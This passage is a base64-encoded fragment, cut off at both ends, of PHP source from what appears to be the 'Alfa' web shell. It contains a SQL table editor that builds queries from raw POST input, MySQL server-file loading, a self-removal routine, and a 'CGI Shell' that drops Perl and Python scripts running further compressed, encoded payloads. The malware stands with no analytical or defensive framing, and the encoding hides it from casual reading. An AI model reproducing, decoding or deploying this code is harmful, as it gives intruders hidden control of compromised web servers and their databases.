VU1OX05BTUUnXV0pKSkuJyJdXCcpPkVkaXQ8L2E+JzsNCn1lbHNlew0KCSRjYWNoZU1zZyA9Jy0nOw0KfQ0KZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj48dGQ+Jy4kY2FjaGVNc2cuJzwvdGQ+JzsNCiRsaW5lID0gJGxpbmU9PTE/MjoxOw0KZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSl7DQppZigkdmFsdWUgPT0gbnVsbCkNCmVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsNCmVsc2UNCmVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCn0NCmVjaG8gJzwvdGFibGU+JzsNCn0gZWxzZSB7DQplY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7DQp9DQp9DQplY2hvKCc8L2Zvcm0+Jyk7DQppZigoQCRfUE9TVFsnYWxmYTEnXSA9PSAnZWRpdCcpICYmICFlbXB0eSgkX1BPU1RbJ2FsZmEyJ10pKXsNCiRkYXRhID0gZXhwbG9kZSgnOicsJF9QT1NUWydhbGZhMyddKTsNCmVjaG8gKCc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5UYWJsZTo8L2Rpdj4gPGZvbnQgY29sb3I9IiMwRjAiPicuJGRhdGFbMF0uJzwvZm9udD48L3A+Jyk7DQplY2hvKCI8Zm9ybSBvbnN1Ym1pdD0nZnN1KHRoaXMpO3JldHVybiBmYWxzZTsnPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KaWYoJGRhdGFbMV0gIT0gJzAnKXsNCiRkYXRhWzJdID0gX19aR1ZqYjJSbGNnKCRkYXRhWzJdKTsNCiRkYXRhWzJdID0gc3RyX3JlcGxhY2UoJyInLCcnLCRkYXRhWzJdKTsNCiRmZXRjaCA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgiU0VMRUNUICogRlJPTSBgIi4kZGF0YVswXS4iYCBXSEVSRSBgIi4kZGF0YVsxXS4iYCA9ICciLiRkYXRhWzJdLiInIikpOw0KJGZldGNoWydfX0FMRkFLRVknXSA9ICRkYXRhWzFdOw0KJGZldGNoWydfX0FMRkFLRVlWQUwnXSA9ICRkYXRhWzJdOw0KfWVsc2V7DQokZCA9IF9fWkdWamIyUmxjZygkZGF0YVsyXSk7DQokZmV0Y2ggPSBqc29uX2RlY29kZSgkZCwgdHJ1ZSk7DQp9DQpmb3JlYWNoKCRmZXRjaCBhcyAka2V5ID0+ICR2YWx1ZSl7DQppZigka2V5PT0nX19BTEZBS0VZJ3x8JGtleT09J19fQUxGQUtFWVZBTCcpY29udGludWU7DQokdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7DQplY2hvKCI8dHI+PHRkPiRrZXk8L3RkPjx0ZD48aW5wdXQgbmFtZT0nJGtleScgdmFsdWU9JyR2YWx1ZScgLz48L3RkPjwvdHI+Iik7DQp9DQplY2hvKCI8L3RhYmxlPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J19fQUxGQURBVEEnIHZhbHVlPSciLl9fWlc1amIyUmxjZyhqc29uX2VuY29kZSgoJGRhdGFbMV0gIT0gJzAnP2FycmF5KCdfX0FMRkFLRVknPT4kZGF0YVsxXSwnX19BTEZBS0VZVkFMJz0+JGRhdGFbMl0pOiRmZXRjaCkpKS4iJz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdfX0FMRkFUQkwnIHZhbHVlPSd7JGRhdGFbMF19Jz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPiIpOw0KfQ0KaWYoKEAkX1BPU1RbJ2FsZmExJ10gPT0gJ3VwZGF0ZScpICYmICFlbXB0eSgkX1BPU1RbJ2FsZmEyJ10pKXsNCiRkYXRhID0ganNvbl9kZWNvZGUoJF9QT1NUWydhbGZhMiddLCB0cnVlKTsNCiRhbGZhZGF0YSA9ICRkYXRhWydfX0FMRkFEQVRBJ107DQokZGF0YTIgPSBqc29uX2RlY29kZShfX1pHVmpiMlJsY2coJGFsZmFkYXRhKSwgdHJ1ZSk7DQoka2V5dmFsID0gYXJyYXkoKTsNCmVjaG8gKCc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5UYWJsZTo8L2Rpdj4gPGZvbnQgY29sb3I9IiMwRjAiPicuJGRhdGFbJ19fQUxGQVRCTCddLic8L2ZvbnQ+PC9wPicpOw0KZWNobygiPGZvcm0gb25zdWJtaXQ9J2ZzdSh0aGlzKTtyZXR1cm4gZmFsc2U7Jz48dGFibGUgYm9yZGVyPScxJz4iKTsNCiRzZXQgPSAnJzsNCmZvcmVhY2goJGRhdGEgYXMgJGtleSA9PiAkdmFsdWUpew0KaWYoJGtleT09J19fQUxGQVRCTCd8fCRrZXk9PSdfX0FMRkFEQVRBJyljb250aW51ZTsNCmlmKCRkYXRhMlsnX19BTEZBS0VZJ109PSRrZXkpew0KJGtleXZhbFsnX19BTEZBS0VZJ10gPSAka2V5Ow0KJGtleXZhbFsnX19BTEZBS0VZVkFMJ10gPSAkdmFsdWU7DQp9DQokc2V0IC49ICJgJGtleWAgPSAnIi5hZGRzbGFzaGVzKCR2YWx1ZSkuIicsIjsNCiR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsNCmVjaG8oIjx0cj48dGQ+JGtleTwvdGQ+PHRkPjxpbnB1dCBuYW1lPScka2V5JyB2YWx1ZT0nJHZhbHVlJyAvPjwvdGQ+PC90cj4iKTsNCn0NCnVuc2V0KCRkYXRhWydfX0FMRkFEQVRBJ10pOw0KDQplY2hvKCI8L3RhYmxlPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J19fQUxGQURBVEEnIHZhbHVlPSciLl9fWlc1amIyUmxjZyhqc29uX2VuY29kZSgoaXNzZXQoJGRhdGEyWydfX0FMRkFLRVknXSk/YXJyYXkoJ19fQUxGQUtFWSc9PiRrZXl2YWxbJ19fQUxGQUtFWSddLCdfX0FMRkFLRVlWQUwnPT4ka2V5dmFsWydfX0FMRkFLRVlWQUwnXSk6JGRhdGEpKSkuIic+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nX19BTEZBVEJMJyB2YWx1ZT0neyRkYXRhWydfX0FMRkFUQkwnXX0nPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+Iik7DQoNCmlmKCFpc3NldCgkZGF0YTJbJ19fQUxGQUtFWSddKSl7DQokd2hlcmUgPSAnJzsNCmZvcmVhY2goJGRhdGEyIGFzICRrZXkgPT4gJHZhbHVlKXsNCmlmKCRrZXk9PSdfX0FMRkFUQkwnfHwka2V5PT0nX19BTEZBREFUQScpY29udGludWU7DQokdmFsdWUgPSBhZGRzbGFzaGVzKCR2YWx1ZSk7DQokd2hlcmUgLj0gImAka2V5YCA9ICckdmFsdWUnIEFORCAiOw0KfQ0KJHdoZXJlID0gc3Vic3RyKCR3aGVyZSwgMCwgLTQpOw0KfWVsc2V7DQokd2hlcmUgPSAiYHskZGF0YTJbJ19fQUxGQUtFWSddfWAgPSAnIi5hZGRzbGFzaGVzKCRkYXRhMlsnX19BTEZBS0VZVkFMJ10pLiInIjsNCn0NCiRzZXQgPSBzdWJzdHIoJHNldCwgMCwgLTEpOw0KJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCJVUERBVEUgYHskZGF0YVsnX19BTEZBVEJMJ119YCBTRVQgJHNldCBXSEVSRSAkd2hlcmUiKSk7DQppZigkZGItPmVycm9yKCkpDQplY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7DQplbHNlIGVjaG8oIlN1Y2Nlc3MuLi4hIik7DQp9DQppZigkX1BPU1RbJ2FsZmExJ10hPSdlZGl0JyYmJF9QT1NUWydhbGZhMSddIT0ndXBkYXRlJyl7DQplY2hvICI8cD5RdWVyeTo8L3A+PGZvcm0gb25zdWJtaXQ9J2ZzKHRoaXMpO3JldHVybiBmYWxzZTsnPg0KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWxmYTEnIHZhbHVlPSdxdWVyeScvPg0KPHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7DQplY2hvICRfUE9TVFsnYWxmYTEnXSE9J2xvYWRmaWxlJz9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYWxmYTInXSk6Jyc7DQplY2hvICI8L3RleHRhcmVhPjxwPjxjZW50ZXI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgJz48L2NlbnRlcj48L3A+PC9mb3JtPiI7DQp9DQplY2hvICI8L3RkPjwvdHI+IjsNCn0NCmVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsNCmlmKCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKSB7DQokZGItPnF1ZXJ5KCJTRUxFQ1QgMSBGUk9NIG15c3FsLnVzZXIgV0hFUkUgY29uY2F0KGB1c2VyYCwgJ0AnLCBgaG9zdGApID0gVVNFUigpIEFORCBgRmlsZV9wcml2YCA9ICd5JyIpOw0KaWYoJGRiLT5mZXRjaCgpKQ0KZWNobyAiPGZvcm0gb25zdWJtaXQ9XCJmcygnMycsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+TG9hZCBmaWxlOjwvZGl2PiA8aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPSd0ZXh0JyBuYW1lPSdmJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT4iOw0KfQ0KaWYoQCRfUE9TVFsnYWxmYTEnXSA9PSAnbG9hZGZpbGUnKXsNCiRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ2FsZmEyJ10pOw0KZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOw0KfQ0KfWVsc2V7DQplY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsNCn0NCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhc2VsZnJtKCl7DQppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ109PSd5ZXMnKXsNCmVjaG8oX19wcmUoKS4nPGNlbnRlcj4nKTsNCmlmKEB1bmxpbmsoJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10pKXsNCmVjaG8oJzxiPlNoZWxsIGhhcyBiZWVuIHJlbW92ZWQ8L2k+IDopPC9iPicpOw0KfWVsc2V7DQplY2hvICd1bmxpbmsgZXJyb3IhJzsNCn0NCmVjaG8oJzwvY2VudGVyPicpOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmJF9QT1NUWydhbGZhMSddIT0neWVzJyl7DQplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj4iOw0KZWNobyAiDQo8Y2VudGVyPjxwPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvZmFydmFoYXItaXJhbi5wbmdcIj48L3A+IjsNCmVjaG8gJzxwPjxkaXYgY2xhc3M9InR4dGZvbnQiPkRvIHlvdSB3YW50IHRvIGRlc3Ryb3kgbWU/ITwvZGl2PjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWxmcm1cJyxudWxsLFwneWVzXCcpOyI+IFllczwvYT4nOw0KZWNobyAnPC9wPjwvY2VudGVyPjwvZGl2Pic7DQp9DQp9DQpmdW5jdGlvbiBhbGZhY2dpc2hlbGwoKXsNCmFsZmFoZWFkKCk7DQokZGl2ID0gIiI7DQppZighaW5fYXJyYXkoJF9QT1NUWydhbGZhMSddLGFycmF5KCdwZXJsJywncHknKSkpew0KJGRpdiA9ICI8L2Rpdj4iOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDR0kgU2hlbGwgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0icnVuY2dpKFwncGVybFwnKSI+fCBQZXJsIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9InJ1bmNnaShcJ3B5XCcpOyI+fCBQeXRob24gfCA8L2E+JzsNCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkmJmluX2FycmF5KCRfUE9TVFsnYWxmYTEnXSxhcnJheSgncGVybCcsJ3B5JykpKXsNCkBta2RpcignY2dpYWxmYScsMDc1NSk7DQpAY2hkaXIoJ2NnaWFsZmEnKTsNCmFsZmFjZ2lodGFjY2VzcygnY2dpJyk7DQokbmFtZSA9ICRfUE9TVFsnYWxmYTEnXS4nLmFsZmEnOw0KJHBlcmwgPSAnIyEvdXNyL2Jpbi9wZXJsICAgLUkvdXNyL2xvY2FsL2JhbmRtaW4nLiJcbiIuJ3VzZSBNSU1FOjpCYXNlNjQ7dXNlIENvbXByZXNzOjpabGliO2V2YWwoQ29tcHJlc3M6OlpsaWI6Om1lbUd1bnppcChkZWNvZGVfYmFzZTY0KCJINHNJQUFBQUFBQUEvNlVaRFhmVFJ2S3ZMQnRoU1JCYnRrdGF6ckpjUXVKQTNpVWhseGp1OWFKZ1pHbHQ3ME9XVkgyUXBNYjk3VGV6dTdLa0VLQzB5VU9SWnVkN1ptZG1seUpqNVBUNGREd1l2UFF5OXZNenV3REFFUStaQkVUZWlnblF3VTFBZEcrV1RSTXZYK3EyNWkvNE5PQXBjUWc4RWNzb0Z3MnRhNXEyOWw4ZW5VMWd1V3RyWjVPRFZYREpFdmlpTFdwcmJ5TitXMEZzZ0J6RXE1VVhCUk8rWW5HUkh4YXBsL000Z3RVZWtGOHU0NXZETzVEQi9UZEZuaFE1d20wTnRCS0M0V3ZCOGpCZThJaDgvb3p2eVUzQkEwTWJtdmhOdlhEdW9ZaFNvS0ZVKzVWVWlnMUlUU2xUSUorRHdYVms2Z2NVOEdoeUUxREFPQWRMNy9PanJpdFFMRVM0WU9BWTV1ZHgyc1FoL1ZHclIzcWpWbC9nNGx0UHdJQW9LMmJrZ25uQnVaZUN5OWRoN0hzaE1aN3d5QVFlTDZhRXorRnBLN0RHZDRrRzcvRDh5TzdnK2NrTFFlNXBFZVk4OGRMOEtFNVhoMTd1QWFrMlBudTMxZy9lbkUzR1o1UHA1TGZ6c2I0aHpwL0VXcFhJcmpVSDlIWUErRGFaeFVVVWVPbWRZM1NlbXBwbDg3a2hPVnlNLy9OMmZEbVpubzRucjk4Y0FnLzJPNkd2eGhOcXJqVWViUVVCMHNWdjA4dkp4ZkhaSzMxamIxaVlmWnZGK1p0TDVKR0M2Y2JsNVBENERLemgwZTQ5dlUvR1o2OG1yL1dOYVcrMjdQNnVUYUR3U3dVQnRmVjJXKzlvUGZ0RnlEUE1yaXdKZVc1WVd4Ukw2QVBPZlEwYXN2UmxIQ0NWaHRoWHZlc21HRFJ3VXpmQ2Y1L2hUMlNWeTBqeHdkWktZcjE4L1pOa2drS3pBSlZIYTMwT3V3K1ZSbnVJUUtwWUFIZGN4cngzWElxMnVMUWtrL2k5MnBkZ1RTMXJjUitXSVF5OEEwbms5RzFsaWNhdjRaVS9mUXJPS1FFUy8zM25xWkFvVkt3dkFYZkR2VkZLUUJZcUJTQVRsWW5pRFZrWTc0MkdXMHp6c3dCbzhLV1pRc1V0N21PajB6R3R4UE0vR3RTbnUyVEpiZzJ0WjVyV2dnbERVSkt3RlNqc0RhWVhXNzhRK2FjQzF5b0RCaVl5ejEvQ0J6RzZwTk1oMmc2QU1Wa3I0OXluRmdIeFJtMFhWWndjeVFteGQwbmZWRVorVjhrZk5LVURaZER0VXR6ZlJzRG1QR0pRdnNwVkxLWjFUR1gxQm92RjJ5U012UURMOWRwZnhvbWhUYndVQ3VBWkJNc1UzR29BZE5oQmthWXN5Zzk1YXFKK0srdktkVjNyR3ZhNE5rbTlLSnV6RkptSnRVZkcxWHZydmV0ZVB6RzFSM2FkRVNxaDZoL3VHcldFaEpmOEQ1VERvOXlBSkYxZ00yaG10RWtzcU9uOVp5WVdsVGhoa2ZIMi9PVE4vdUhSOGNsNGw5QlJUUXcxemZXTVI2czRZRFVrWVphc3BuYVNnaUJTclpGN3dtdy9qTE1Hc1NLaHBiRXNJUGUxLy9mTGpodFJoYWhQbG93Z1EwTDF6a3oxdzRhWE96b2xOMTVHQ2hFSjRKY1Z2cyt5YkY2RTRWMUhsOG1wcEI1NXFCcjBta2ZVbHZFN3h3VVVyUUlKOVlxc05TeGJXSldHUHNTS3BhT2hBTVFSVUt4NDd0Qjh5Yk9PL09nRVBQTm13TlhKMDRMWllpWG9RSVlVekpubHNXY1VFY3Q4TDJFR2kzenc1TnVMWStpMVNSd0JaNk9PYlVLYVVRSkkrVjNDSExvdG9sVU5wV1RGOG1VY09MSmNFOC9ISHUyQVk3UkxQK1ZKZmdKOUNVSGdrdEV3OUdZc0pFRHNVT1dhRktCWjRrV0VBNHZwZEk2dUxCSUFXZ2dka1dHV3AzRzBHTFdpV1piWThubXdqQ0dDeEJNeEFFU0pNYlFFOTlHUVJ6Z05aUGxkQ0NxREo1TFF1eHRFWUJ5WWdsSzJrc0Y1L3RLTEZvZ1crOFVLck85QUJNY2h3OWVYZDhlQjRlcGJuVnpkN1BBb1l1bnJ5ZW1KSTd5RThyT3I3blZIREVTVVNDOGhsQkpSR3VtY2tnenl4NkUvN2RGU003a2lJMVhTbEY4eVJrckZMWVhFV2ZJZ1lGSEpPZGdpZzZ1ckhTemMvSFVxNzBzUklwYndSNldWTGhyN0ZLd1NUVGhsZVpGR29nM2pDeEZwYU5jVFdFR3F6RDMzRmt4MnByVTJGdmtWVlBvMTY0MzlFSUpvREZmdnZmWWYrKzMvZGR2L3VqWXQvYkhlS1NKWk1GOC9vYnRRTEMyMktQZnRRUXlhUjNrYkRSNlFuTjNtMWpKZmhkaFF0bHQyaUpEUmNBbDZqWVk1ejBNMk9rREJaSFpIOWsrTzlzbUU3WitTTmpsNGRVek9XUm9PTFlrMEZIazBlcktHQ1RTRUVpd1RhYk96VFl2MUhQeVlEMGpLRjh2Y2pqK3hGQUEzQStsMjI0L0RPQjNzOVBmbTgyN1h2dUZCdmh6MG5uV1RXN3RNVENpTHlMYzlnNkh0bzQzS3Q3ZE1DQXREbm1ROHMyK1dQR2R0MkJJK1dCakZONm1YMkJ1Ujcrc1ZsQjBldFlYOEFaUlI0QTMwT1lkeHNPMkZmQkVOeUFxVUNaazlpMU1JQ3VBa3R5U0xReDRRS0hYMkRMeTZTSEdtQWQ5aEJZUU5EdDRFN050MnR2UUMxS01MdjgrQWFxYzcvcW43YkY5eGFxZGV3SXRzZ0V2S050TGZRd1YreEF5L1NEUHdFVWxpamduNEZjZElZNG5jNit1NnptaURpa0hJNW5tcFNFOTRZaU8yd3BYWUNuS1BYYStWd0ZKZW5aY0k3c051a3BFa2NZb0Y0eUVIYkhiOFZiRCtXOXhLMy8yQ0tqOFF6d2VrSlY0UThHalJWazdLY3FqS0E3TDM1UXBEVFJDK3dhQkFhRDNZeWxpVGxINk52SzVwWDFPK0ZGelRwVzdQenBINEtRVVBlajhEbWtyOHZlZiszdDd6TXZHNzNjZlZEdkdLUExZM1dMNXhndzB0dVRWbk9QM0dFZGFtYjFWbGNEWFc0emtnWkFiMnFObENTSFRvVGxmOFFHR05FK2xLaDhJWHBrYnRVNzRLdFdyZlM0Wk9Gd0IwRmpDVHBrR1ZySm91VkJNbENnSkpSMWRrT0t0S0NYaUVrY3dMU0F2Uzl4UFBPSFJoOHFjQXE2OFhpeFUwL0k0ZnI0YldiRVN1c2Y1R2VWVi9oemwyYmlMZDdOQWVEQkpTUy9RZUpUN3NKZHcvNEdpaEozNHJ4enUwRDRybXlDSm9FQ210NTdEckhQcU9wWUVYZVdWZlFoSlFvMkhYVHI4Lzd2ZWZpNVhMU25OeXNPQ3FOczVHU20wQ3RUZUM4eXhZbjhjRW16NUxJY0E0QkhWMGlaY0grTURHMG13UlIzRU05cFpUa05KN1JEdXRCOFlmWTl1SE9yVGlDQS8wRmZ6RnJNRVV3aHBQYTNMVURjSUpKUGd4RmdMa3RkYk9VeGgyOEVSWG5iOXJQV2xFeEJFYzRpcm1FamxINkNxZnV6LzlBaTYxZGRCemU5V0FLb2xoNWNYM0tHck9vZFdBOHlWTmZ6Wm52VDJncWFsVjRsKzdHcUYyTlEyaU0yWS9QQTNLbGVXOUplajhqVldZbGh4WFg4Sk9XemRtU0ZlSFNLdTdubzd1Nmh1eDZ2L1FoT2xYRStZL25VKzNvOWFQaktKL2E3SUNnRXdlU080NkE2d1dKYmt2cDB5b1VOdlpyL3NYWnpKZnB1czk3SEkyYk02TmltUTBvbzNaV0Q2L1M3K1VTa1ppQmc2NS85R2hFSHcvanVZY2RwdXI3NmVNM01VRm5Gdmc1VmRJQUpVQlFDUVNRazZBUkEyRmN3OCs3SzFPcjJNNHAxV0RKV1RvUHhvcW05ZUFhK0QwU0c1Y2MrMkZIcWpiTmF0SlVLQVNkdXN6aGlWNTVkM3lWYkVpT1JDVEdNNklYN2xUekJqWUhoaVpXWjdCeHJmTUwzSldNbHh2V3Rzck9QdGVPbTF2dUM0UExvN1BKOU96L2RNeEhETnJ1NzNDR0YrOEcxOXNNWnFuYTFKZXg5aWFUTjBTaElkVzdhS0lTbVVjRWpEY0Z0T1p1SnlWcDJrZnI4QzB4cUQ5QUZhQVdQSlNvSUg2UVYxdWZzQ1RkR01ONDBYRndieWhBbDRUdkhlekozN2daay94eGdrdnoyQ3dnQk9pdk83NUxvRjluMExHdjNsRnFpNW9PeldvdmRIZWhNRURSNG5LUGRRUGlGdXY2UzZGNnF0WTRhS1NXd0dWK1Y5eGpXVDh3YlEzclhzbkhMeS93WHZmdjlSUnRoM0RmVkZQamhxbUxPNzNXdUl3NEovS0JxR0dRNXhtQm4wY3gvU1JHRCtrNVlPSHVvbWFNVVVEcWdLeWJVQ3lTWU9JMFRENXRxakdZRm9LTDRkS2tzWTNtYVAzdXpySkVwaEovQ1dEb3FLTHlnQ2lSVHFvck1hTVVxZFBjOTJxTHF2S0JQaUxjYXdiVTArUGVuM1FMbzlmcmZYOWs0dFRjUTNxdHByYjM1YjE0eXRGUWQwb2YvRWZEY0QyczlPcjhnM3Y2Y2huYW91TEt3V1VtTHZiZW1QaTBTZGt4ckN4UGdKV1UzWGd4UnZRMUkxTXZFMVZDYUJOOFFDN0FXbmRSbkdzTWxKbytHVTEzR3pLRkxMSytKUXh0cExhU0VidDFsZkhKTHQxYjFLei93OHdibFMrRlJvQUFBPT0iKSkpOyc7Ow0KJHB5ID0gJyMhL3Vzci9iaW4vcHl0aG9uJy4iXG5pbXBvcnQgemxpYiwgYmFzZTY0XG4iLidldmFsKGNvbXBpbGUoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoImVKeWxGOXR5MnpiMjJmb0tETHhiVXF1ckZUdk42TmE2WHFmMWJOTm1FcmN2dGtjREVxQ0lDUWx3UWRDMjZ2RisrNTREa0JMVmFPTzJhOC9ZQk03OWZtRE5adG81a25taGpTWHhXdHBvNXY4TmhXSlJKc0p1Unp6R29yQ0FWYkN5N05TbzVhYnNBMTVmbC8yMXNBanBSNndVcjAvN2xja3lHWFVTbzNOaVpTNUlRMkZOZ3VlR2d6VXNGaEdMUDNuVWo5Wkl0Yjc2dVVGdnpqV2pCcmtCRndDMUsxQ3RJeE9pUzlEMlhocXRoaWtyVjUvRUpxUWZMejVjdmI5ZS9YVCs3cEoyUWZreU5yS3dpb0ZDaXhiQnpSN2lYVWRrcGZnOU5xVWRMaExDc29SZDVEeU1rZDFSbk1xTXIwckxwZXFUN1VGWDFyTXZkQ0hVQkhEM1VZZHhwa3QwNnRHUkVXV1ZJWGFiZUdnRTQrRWVFZDYycVd4bEZQSEVuVVNiSERtczVmQ3RGQm4vYUxWaGE4U01jdzRBaEE4aFB2Y3NxMFFZeEVHM3c2WDVITUFCQUg0RUlqRE5rL293RGl2MTcwcGJFZnJnRHFQWHAxekVtb3NRc0xxT0NCZ0NrV2Y3RWhGZ2RWdVMvTWZOZVBycWppd1dKSWc1Q2RDM3lxdmd6cVNIRXVCdk1NTnZoT0IzOGNBRHdMeW9qQkhLL3ROSmJ3S0U1RjN3WkpGQjBvVEJyUXI2Z1RkUWFldTRNUVdjZDdTQkEwaEZNaDJ6ckF3eHdBYzVCeWoyQU9zNmEwRENDMXozMllJcUhZamR5anNQczRiWmRNaWlFditIZEVpN25mZVEvUVZtU1hCRDVuQ3ZvSTQybVZqUVdHZmFUSS9Icjc0K0dZOW5kQm4wNmpyRXNGYWxNR0czRjh4SFNMTDg5Z1hLdlhLNC9QRHI1WWU2SExZY0RzcWVSSWs0T1hNY2RtYnRTTzcrRnFEUFZ5c3NvOVhLUlhpMXlwbFVxeFdHMlpVd29SZGFXU0FkMkUwaHBzU0tSenRLYlo3ZG1sdEZHNlJnamxmTGVRclZzWnhiYVRPeHZJQ0U0aVRha1BNZjM1NlRhM0gramd6SXhmZFg1UDNHcGxyTlJ4NXRuZ3ZMb01hWUtZVmQwRit1M3c3ZTBPWGNXYkw4eHhOVVZ5YVZtQ3F0eE96NWVMVktVTnVxZUVveXpleVVHTGxPN1V6ZkN3TVhEMU9TU3M2Rm1ua1BrT1BKV1pLQUV4OGt0K21Vbkp5T2k4Y1pseVdreDJZS29VZldnd2ppLzJtR2hnMTJmQVFVU2xIS2N2YVFTaXNHNExFWXJGZjZ3YkJpOXB5eFNHUlBPVE5ycVFaT0JXQ092SUhlU3NpbUFjdmtXazFKRHVwa1loWnB3d1hvYzFJOGtsSm5ra09ENERQc2wydWpLOFduMkVBVkNNRWdBZmJqb0V3WlJ6M0c4SHNLVk1mankxZmowL09hMDhBd0xxdHlpcURHdU1rWkt2Qm56SWdyVTZLWENnMHhGT1ovT01ZYmkrTkJxL1ZUVzJlMG9RNURKaEs3OWJMenhMTlVSV1Z2TUdzV1pSWGwwdDQ5MVFJYmVXMWVMcjZIM1ZUSEVqcW5Xb3RERG5nK2hvYnk5SmU0TmI3N0dsVStFTThEMGdyR1lWQ3NCN1dUU3NzTVlKOTlEaEdvQ2Q0L1kxQWd0T3dKeG9MOFRkVDY3YVYyUy91VzhvM2dsaTV0ZTQ3ZnVwOUc4UFRrTmFEVnhYLzJKajQ3ZTFNYkNJM2s3N3NpWVpYVnMyZG9BNjdHNWlOZnRaSG1HNklWeEpNdktOZHhsVU11WXJPNnpBUitmcmU1NHVGdEFLNitoUmFiQUFLMHpCa2wwZHBKWE5EanNmdWh4T3JDdTNKQjRZU3AwVHI2VDZkVzY1d0tkTHE3UUdjQk0yOGFkSUpZWUxJczV3bjBJVktMZ2tEU0pUVGNhTmRsd0NPQ2xJeVRyeUI5NzJVcFlUa2kvM0hYOWVuYk5mUzJiQmpyZkQ2S29QM05SOGdTN0c4a1dGeW9pSGZ6Z3A1UVVtdUozcU1raGxyQytnRkhPejN4WER0K1FTZWdxRVVXL0lBLzJteHFPeEtvd3dYOVZSak9GS01FczhJekFjWDJMRDJlVEM0bmt6Y084bkZuQzdsWXkyMGpqWmExS1FSNnRSS3hCWTlZVFY2WUcwaGxPZjR4amU3TG9KbjVSSmJrSjhoRHQwbTVZVTlielo3TCsyYlUxRFdEUVo1T01FdWRwaGM2ejNHR1R3L05wYnIwWUN6MVVWU2ZOQlBKNndUTWwvTmkrVVVoZTVYYWlHMnFqQmo5VUlJM3dmTmxBVUdLVXhGL1d0QUVacnlndFlsQklqTVI0UERIVFF1dHRHN1JQanBDUUlLN1dyMkYzWGpVTzRUVkd3cUVRRUhaSzlnd3R0aDlrc25TdWhYaWlKQTJrNXZ0NGE3akJHamo0TkNQYzZkQUEzYTBLS09CRHZFRHg1MkhFT0NyV25zSWJtOElEVC9ENzI3eHF5eGI0UzJRdFRZYldOQkd1S3dscWtIRWJUamNZa05JSGlJbzhnY0RiUGZaMXd2d1RnTGNZZmFDQU1pTkVIUUR6OWdkcXk2Y1Y0Z3dPaGxQVHJkazlXNXhqVk12RVZET2hQWmd3b1FOdTI2UGtuOTlONlQ3K01GMUtweEVRb05lb25vQjFCWXJTVlZnMHdJZVpSWEhvaXhSK0dhSTY2ZC9HcEZMOTA5cWVBa0lZNXczUFVNNGRZN3E1WENiQVI2MFhTbnJKWGZmZmMydTJ6MHN4UFBCNTlpMlprWk5lallwUGlvT0ZPQThjcDBPWGcxYSthbTVvRGFWNEZWM0dNS0l4aWJGRjlaVVl0YUNwTDhEeVNUY2cwcStXTndHS2JUdUozZlBoKzVwQVhkQnIxNXhlOEZ0OE95QWNRMk1yR1pocFVRWnMwS0VRdUViNFpjUFYxRGRCZlFHQ0hjYnU5dnR6dlpZL3pGcXZxT21CSk1YS2hXbWdvRFdCblBvL2M4ZnJ5bGhNZnAxQVVIZnZmc2crTXU1MnpHSTJ6R28zL3dhSHB3U3J3WGRYMzV4R2ZZN2V